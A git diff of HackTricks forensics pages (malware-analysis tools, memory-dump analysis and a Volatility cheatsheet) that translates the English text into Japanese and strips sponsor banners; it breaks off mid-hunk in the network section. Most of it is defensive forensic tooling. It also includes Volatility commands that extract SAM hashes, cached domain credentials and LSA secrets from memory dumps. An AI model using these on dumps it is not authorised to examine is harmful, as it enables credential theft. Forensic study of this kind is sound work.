path/name 2. Yara Rule Check - Yara signature matches on file data and process memory +Yara signature matches on file data and process memory 3. Hash Check - Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files +Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files 4. C2 Back Connect Check - Compares process connection endpoints with C2 IOCs (new since version v.10) +Compares process connection endpoints with C2 IOCs (new since version v.10) ``` - ### Linux Malware Detect -[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) is a malware scanner for Linux released under the GNU GPLv2 license, that is designed around the threats faced in shared hosted environments. It uses threat data from network edge intrusion detection systems to extract malware that is actively being used in attacks and generates signatures for detection. In addition, threat data is also derived from user submissions with the LMD checkout feature and malware community resources. +[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) は、GNU GPLv2 ライセンスの下でリリースされた Linux 用のマルウェアスキャナーで、共有ホスティング環境で直面する脅威に基づいて設計されています。ネットワークエッジ侵入検知システムからの脅威データを使用して、攻撃に積極的に使用されているマルウェアを抽出し、検出のためのシグネチャを生成します。さらに、脅威データは、LMD チェックアウト機能を使用したユーザーの提出やマルウェアコミュニティリソースからも得られます。 ### rkhunter -Tools like [**rkhunter**](http://rkhunter.sourceforge.net) can be used to check the filesystem for possible **rootkits** and malware. - +[**rkhunter**](http://rkhunter.sourceforge.net) のようなツールを使用して、ファイルシステムに対して可能な **rootkits** やマルウェアをチェックできます。 ```bash sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] ``` - ### FLOSS -[**FLOSS**](https://github.com/mandiant/flare-floss) is a tool that will try to find obfuscated strings inside executables using different techniques. +[**FLOSS**](https://github.com/mandiant/flare-floss)は、異なる技術を使用して実行可能ファイル内の難読化された文字列を見つけようとするツールです。 ### PEpper -[PEpper ](https://github.com/Th3Hurrican3/PEpper)checks some basic stuff inside the executable (binary data, entropy, URLs and IPs, some yara rules). +[PEpper](https://github.com/Th3Hurrican3/PEpper)は、実行可能ファイル内の基本的な情報(バイナリデータ、エントロピー、URLおよびIP、いくつかのyaraルール)をチェックします。 ### PEstudio -[PEstudio](https://www.winitor.com/download) is a tool that allows to get information of Windows executables such as imports, exports, headers, but also will check virus total and find potential Att\&ck techniques. +[PEstudio](https://www.winitor.com/download)は、インポート、エクスポート、ヘッダーなどのWindows実行可能ファイルの情報を取得するツールですが、ウイルス総合チェックも行い、潜在的なAtt\&ck技術を見つけます。 ### Detect It Easy(DiE) -[**DiE**](https://github.com/horsicq/Detect-It-Easy/) is a tool to detect if a file is **encrypted** and also find **packers**. +[**DiE**](https://github.com/horsicq/Detect-It-Easy/)は、ファイルが**暗号化**されているかどうかを検出し、**パッカー**を見つけるツールです。 ### NeoPI -[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI)is a Python script that uses a variety of **statistical methods** to detect **obfuscated** and **encrypted** content within text/script files. The intended purpose of NeoPI is to aid in the **detection of hidden web shell code**. +[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI)は、テキスト/スクリプトファイル内の**難読化された**および**暗号化された**コンテンツを検出するためにさまざまな**統計的方法**を使用するPythonスクリプトです。NeoPIの目的は、**隠れたウェブシェルコードの検出**を支援することです。 ### **php-malware-finder** -[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) does its very best to detect **obfuscated**/**dodgy code** as well as files using **PHP** functions often used in **malwares**/webshells. +[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder)は、**難読化された**/**怪しいコード**や、**マルウェア**/ウェブシェルでよく使用される**PHP**関数を使用しているファイルを検出するために最善を尽くします。 ### Apple Binary Signatures -When checking some **malware sample** you should always **check the signature** of the binary as the **developer** that signed it may be already **related** with **malware.** - +いくつかの**マルウェアサンプル**をチェックする際は、**バイナリの署名**を常に**確認**するべきです。署名した**開発者**がすでに**マルウェア**に関連している可能性があります。 ```bash #Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -154,19 +137,18 @@ codesign --verify --verbose /Applications/Safari.app #Check if the signature is valid spctl --assess --verbose /Applications/Safari.app ``` +## 検出技術 -## Detection Techniques +### ファイルスタッキング -### File Stacking +ウェブサーバーの**ファイル**を含むフォルダーが**最終更新された日付**を知っている場合、**ウェブサーバーのすべてのファイル**が作成および変更された**日付**を**確認**し、**疑わしい**日付があれば、そのファイルを確認してください。 -If you know that some folder containing the **files** of a web server was **last updated on some date**. **Check** the **date** all the **files** in the **web server were created and modified** and if any date is **suspicious**, check that file. +### ベースライン -### Baselines +フォルダーのファイルが**変更されるべきではなかった**場合、フォルダーの**元のファイル**の**ハッシュ**を計算し、**現在の**ものと**比較**できます。変更されたものは**疑わしい**です。 -If the files of a folder **shouldn't have been modified**, you can calculate the **hash** of the **original files** of the folder and **compare** them with the **current** ones. Anything modified will be **suspicious**. +### 統計分析 -### Statistical Analysis - -When the information is saved in logs you can **check statistics like how many times each file of a web server was accessed as a web shell might be one of the most**. +情報がログに保存されている場合、各ウェブサーバーのファイルがどれだけアクセスされたかなどの**統計**を**確認**できます。ウェブシェルの一つが最も多いかもしれません。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index 1c8be749a..d42c7dec1 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -1,49 +1,37 @@ -# Memory dump analysis +# メモリダンプ分析 {{#include ../../../banners/hacktricks-training.md}} -
+## 開始 -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Start - -Start **searching** for **malware** inside the pcap. Use the **tools** mentioned in [**Malware Analysis**](../malware-analysis.md). +**マルウェア**をpcap内で**検索**し始めます。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用してください。 ## [Volatility](volatility-cheatsheet.md) -**Volatility is the main open-source framework for memory dump analysis**. This Python tool analyzes dumps from external sources or VMware VMs, identifying data like processes and passwords based on the dump's OS profile. It's extensible with plugins, making it highly versatile for forensic investigations. +**Volatilityはメモリダンプ分析のための主要なオープンソースフレームワークです**。このPythonツールは、外部ソースやVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを特定します。プラグインで拡張可能であり、法医学的調査に非常に柔軟です。 -[**Find here a cheatsheet**](volatility-cheatsheet.md) +[**ここにチートシートがあります**](volatility-cheatsheet.md) -## Mini dump crash report +## ミニダンプクラッシュレポート -When the dump is small (just some KB, maybe a few MB) then it's probably a mini dump crash report and not a memory dump. +ダンプが小さい場合(数KB、場合によっては数MB)これはおそらくミニダンプクラッシュレポートであり、メモリダンプではありません。 ![](<../../../images/image (532).png>) -If you have Visual Studio installed, you can open this file and bind some basic information like process name, architecture, exception info and modules being executed: +Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行中のモジュールなどの基本情報をバインドできます: ![](<../../../images/image (263).png>) -You can also load the exception and see the decompiled instructions +例外をロードして、デコンパイルされた命令を見ることもできます。 ![](<../../../images/image (142).png>) ![](<../../../images/image (610).png>) -Anyway, Visual Studio isn't the best tool to perform an analysis of the depth of the dump. +いずれにせよ、Visual Studioはダンプの深さの分析を行うための最良のツールではありません。 -You should **open** it using **IDA** or **Radare** to inspection it in **depth**. +**IDA**または**Radare**を使用して**深く**検査するために**開く**べきです。 ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md index f6a63c08f..38d8e6066 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md @@ -4,13 +4,7 @@ ​ -
- -​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} -If you need a tool that automates memory analysis with different scan levels and runs multiple Volatility3 plugins in parallel, you can use autoVolatility3:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) - +メモリ分析を自動化し、異なるスキャンレベルで複数のVolatility3プラグインを並行して実行するツールが必要な場合は、autoVolatility3を使用できます:: [https://github.com/H3xKatana/autoVolatility3/](https://github.com/H3xKatana/autoVolatility3/) ```bash # Full scan (runs all plugins) python3 autovol3.py -f MEMFILE -o OUT_DIR -s full @@ -22,66 +16,57 @@ python3 autovol3.py -f MEMFILE -o OUT_DIR -s minimal python3 autovol3.py -f MEMFILE -o OUT_DIR -s normal ``` - -If you want something **fast and crazy** that will launch several Volatility plugins on parallel you can use: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) - +何か**速くてクレイジー**なものが必要で、複数のVolatilityプラグインを並行して起動したい場合は、次を使用できます: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility) ```bash python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory) ``` - -## Installation +## インストール ### volatility3 - ```bash git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 python3 setup.py install python3 vol.py —h ``` - ### volatility2 {{#tabs}} {{#tab name="Method1"}} - ``` Download the executable from https://www.volatilityfoundation.org/26 ``` - {{#endtab}} {{#tab name="Method 2"}} - ```bash git clone https://github.com/volatilityfoundation/volatility.git cd volatility python setup.py install ``` - {{#endtab}} {{#endtabs}} -## Volatility Commands +## Volatility コマンド -Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) +公式ドキュメントは [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan) でアクセスできます。 -### A note on “list” vs. “scan” plugins +### “list” プラグインと “scan” プラグインについての注意 -Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes. +Volatility には、プラグインに対する2つの主要なアプローチがあり、時にはその名前に反映されています。“list” プラグインは、プロセス(メモリ内の `_EPROCESS` 構造のリンクリストを見つけて歩く)や OS ハンドル(ハンドルテーブルを見つけてリスト化し、見つかったポインタを解参照するなど)の情報を取得するために、Windows カーネル構造をナビゲートしようとします。これらは、例えばプロセスをリスト化するように要求された場合、Windows API のように振る舞います。 -That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist. +そのため、“list” プラグインは非常に速いですが、マルウェアによる操作に対して Windows API と同様に脆弱です。例えば、マルウェアが DKOM を使用してプロセスを `_EPROCESS` リンクリストからリンク解除すると、タスクマネージャーにも pslist にも表示されません。 -“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations). +一方、“scan” プラグインは、特定の構造として解参照されたときに意味を持つ可能性のあるものをメモリから彫り出すアプローチを取ります。例えば `psscan` はメモリを読み取り、そこから `_EPROCESS` オブジェクトを作成しようとします(これは、関心のある構造の存在を示す4バイトの文字列を検索するプールタグスキャンを使用します)。利点は、終了したプロセスを掘り起こすことができ、マルウェアが `_EPROCESS` リンクリストを改ざんしても、プラグインはメモリ内に残っている構造を見つけることができることです(プロセスが実行されるためには、構造が存在する必要があります)。欠点は、“scan” プラグインは “list” プラグインよりも少し遅く、時には誤検知を引き起こすことがあることです(終了してから長い時間が経過し、他の操作によって構造の一部が上書きされたプロセス)。 -From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) +出典: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/) -## OS Profiles +## OS プロファイル ### Volatility3 -As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\ -Symbol table packs for the various operating systems are available for **download** at: +readme 内で説明されているように、サポートしたい OS の **シンボルテーブル** を _volatility3/volatility/symbols_ 内に置く必要があります。\ +さまざまなオペレーティングシステムのシンボルテーブルパックは **ダウンロード** 可能です: - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip) - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip) @@ -89,16 +74,13 @@ Symbol table packs for the various operating systems are available for **downloa ### Volatility2 -#### External Profile - -You can get the list of supported profiles doing: +#### 外部プロファイル +サポートされているプロファイルのリストを取得するには、次のようにします: ```bash ./volatility_2.6_lin64_standalone --info | grep "Profile" ``` - -If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using: - +新しくダウンロードした**プロファイル**(例えば、Linux用のもの)を使用したい場合は、次のフォルダー構造を作成する必要があります: _plugins/overlays/linux_ そして、このフォルダーの中にプロファイルを含むzipファイルを置きます。次に、プロファイルの番号を取得するには、次のコマンドを使用します: ```bash ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info Volatility Foundation Volatility Framework 2.6 @@ -110,28 +92,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10 VistaSP0x64 - A Profile for Windows Vista SP0 x64 VistaSP0x86 - A Profile for Windows Vista SP0 x86 ``` +LinuxおよびMacのプロファイルは[https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)から**ダウンロード**できます。 -You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles) - -In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like: - +前の部分では、プロファイルが`LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`と呼ばれているのが見え、これを使用して次のようなコマンドを実行できます: ```bash ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan ``` - -#### Discover Profile - +#### プロファイルの発見 ``` volatility imageinfo -f file.dmp volatility kdbgscan -f file.dmp ``` +#### **imageinfoとkdbgscanの違い** -#### **Differences between imageinfo and kdbgscan** - -[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from . - -Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed) +[**こちらから**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): imageinfoが単にプロファイルの提案を提供するのに対し、**kdbgscan**は正しいプロファイルと正しいKDBGアドレス(複数ある場合)を正確に特定するように設計されています。このプラグインは、Volatilityプロファイルに関連するKDBGHeaderシグネチャをスキャンし、偽陽性を減らすためのサニティチェックを適用します。出力の詳細度と実行できるサニティチェックの数は、VolatilityがDTBを見つけられるかどうかに依存するため、正しいプロファイルをすでに知っている場合(またはimageinfoからプロファイルの提案を受けている場合)は、それを使用することを確認してください。 +常に**kdbgscanが見つけたプロセスの数**を確認してください。時々、imageinfoとkdbgscanは**複数の**適切な**プロファイル**を見つけることがありますが、**有効なものだけがいくつかのプロセスに関連している**ことになります(これは、プロセスを抽出するためには正しいKDBGアドレスが必要だからです)。 ```bash # GOOD PsActiveProcessHead : 0xfffff800011977f0 (37 processes) @@ -143,234 +119,189 @@ PsLoadedModuleList : 0xfffff8000119aae0 (116 modules) PsActiveProcessHead : 0xfffff800011947f0 (0 processes) PsLoadedModuleList : 0xfffff80001197ac0 (0 modules) ``` - #### KDBG -The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis. - -## OS Information +**カーネルデバッガーブロック**は、Volatilityによって**KDBG**と呼ばれ、Volatilityやさまざまなデバッガーによって実行されるフォレンジックタスクにとって重要です。`KdDebuggerDataBlock`として識別され、タイプは`_KDDEBUGGER_DATA64`で、`PsActiveProcessHead`のような重要な参照を含んでいます。この特定の参照はプロセスリストの先頭を指し、すべてのプロセスのリストを作成することを可能にし、徹底的なメモリ分析にとって基本的です。 +## OS情報 ```bash #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info) ./vol.py -f file.dmp windows.info.Info ``` +プラグイン `banners.Banners` は、**vol3 でダンプ内の Linux バナーを探す**ために使用できます。 -The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump. +## ハッシュ/パスワード -## Hashes/Passwords - -Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets). +SAM ハッシュ、[ドメインキャッシュ資格情報](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) および [lsa シークレット](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets) を抽出します。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM) ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM) volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets ``` - {{#endtab}} {{#endtabs}} -## Memory Dump - -The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**. +## メモリダンプ +プロセスのメモリダンプは、プロセスの現在の状態の**すべて**を**抽出**します。**procdump**モジュールは**コード**のみを**抽出**します。 ``` volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/ ``` +## プロセス -​ +### プロセスのリスト -
- -​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Processes - -### List processes - -Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\ -It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes. +**疑わしい**プロセス(名前で)や**予期しない**子**プロセス**(例えば、iexplorer.exeの子としてのcmd.exe)を見つけるようにしてください。\ +隠れたプロセスを特定するために、pslistの結果をpsscanの結果と**比較**することが興味深いかもしれません。 {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden) python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS) python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware) ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` - {{#endtab}} {{#endtabs}} -### Dump proc +### プロセスダンプ {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` - {{#endtab}} {{#endtabs}} -### Command line +### コマンドライン -Anything suspicious was executed? +疑わしいものは実行されましたか? {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` - {{#endtab}} {{#endtabs}} -Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted. +`cmd.exe`で実行されたコマンドは、**`conhost.exe`**(またはWindows 7以前のシステムでは`csrss.exe`)によって管理されます。これは、攻撃者によって**`cmd.exe`**が終了された場合でも、メモリダンプが取得される前に、**`conhost.exe`**のメモリからセッションのコマンド履歴を回復することが可能であることを意味します。これを行うには、コンソールのモジュール内で異常な活動が検出された場合、関連する**`conhost.exe`**プロセスのメモリをダンプする必要があります。その後、このダンプ内で**strings**を検索することにより、セッションで使用されたコマンドラインを抽出できる可能性があります。 -### Environment +### 環境 -Get the env variables of each running process. There could be some interesting values. +各実行中プロセスの環境変数を取得します。興味深い値があるかもしれません。 {{#tabs}} {{#tab name="vol3"}} - ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` - {{#endtab}} {{#endtabs}} -### Token privileges +### トークンの特権 -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. +予期しないサービスで特権トークンを確認します。\ +特権トークンを使用しているプロセスをリストアップすることは興味深いかもしれません。 {{#tabs}} {{#tab name="vol3"}} - ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] #Get all processes with interesting privileges python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get enabled privileges of some processes volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled #Get all processes with interesting privileges volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege" ``` - {{#endtab}} {{#endtabs}} ### SIDs -Check each SSID owned by a process.\ -It could be interesting to list the processes using a privileges SID (and the processes using some service SID). +プロセスが所有する各SSIDを確認します。\ +特権SIDを使用しているプロセス(およびいくつかのサービスSIDを使用しているプロセス)をリストアップすることは興味深いかもしれません。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service ``` - {{#endtab}} {{#endtabs}} -### Handles +### ハンドル -Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened) +**プロセスがハンドル**を持っている(開いている)他のファイル、キー、スレッド、プロセスなどを知るのに役立ちます。 {{#tabs}} {{#tab name="vol3"}} - ```bash vol.py -f file.dmp windows.handles.Handles [--pid ] ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] ``` - {{#endtab}} {{#endtabs}} @@ -378,40 +309,33 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=] {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory process ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc ``` - {{#endtab}} {{#endtabs}} -### Strings per processes +### プロセスごとの文字列 -Volatility allows us to check which process a string belongs to. +Volatilityを使用すると、文字列がどのプロセスに属しているかを確認できます。 {{#tabs}} {{#tab name="vol3"}} - ```bash strings file.dmp > /tmp/strings.txt ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash strings file.dmp > /tmp/strings.txt volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt @@ -419,99 +343,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir . strings 3532.dmp > strings_file ``` - {{#endtab}} {{#endtabs}} -It also allows to search for strings inside a process using the yarascan module: +プロセス内の文字列を検索するために、yarascanモジュールを使用することもできます: {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://" ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784 ``` - {{#endtab}} {{#endtabs}} ### UserAssist -**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run. +**Windows**は、**UserAssistキー**と呼ばれるレジストリの機能を使用して、実行したプログラムを追跡します。これらのキーは、各プログラムが実行された回数と最後に実行された日時を記録します。 {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.registry.userassist.UserAssist ``` - {{#endtab}} {{#tab name="vol2"}} - ``` volatility --profile=Win7SP1x86_23418 -f file.dmp userassist ``` - {{#endtab}} {{#endtabs}} ​ -
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - -## Services +## サービス {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.svcscan.SvcScan #List services ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp #Get name of the services and SID (slow) volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ``` - {{#endtab}} {{#endtabs}} -## Network +## ネットワーク {{#tabs}} {{#tab name="vol3"}} - ```bash ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` - {{#endtab}} {{#tab name="vol2"}} - ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only @@ -526,102 +429,84 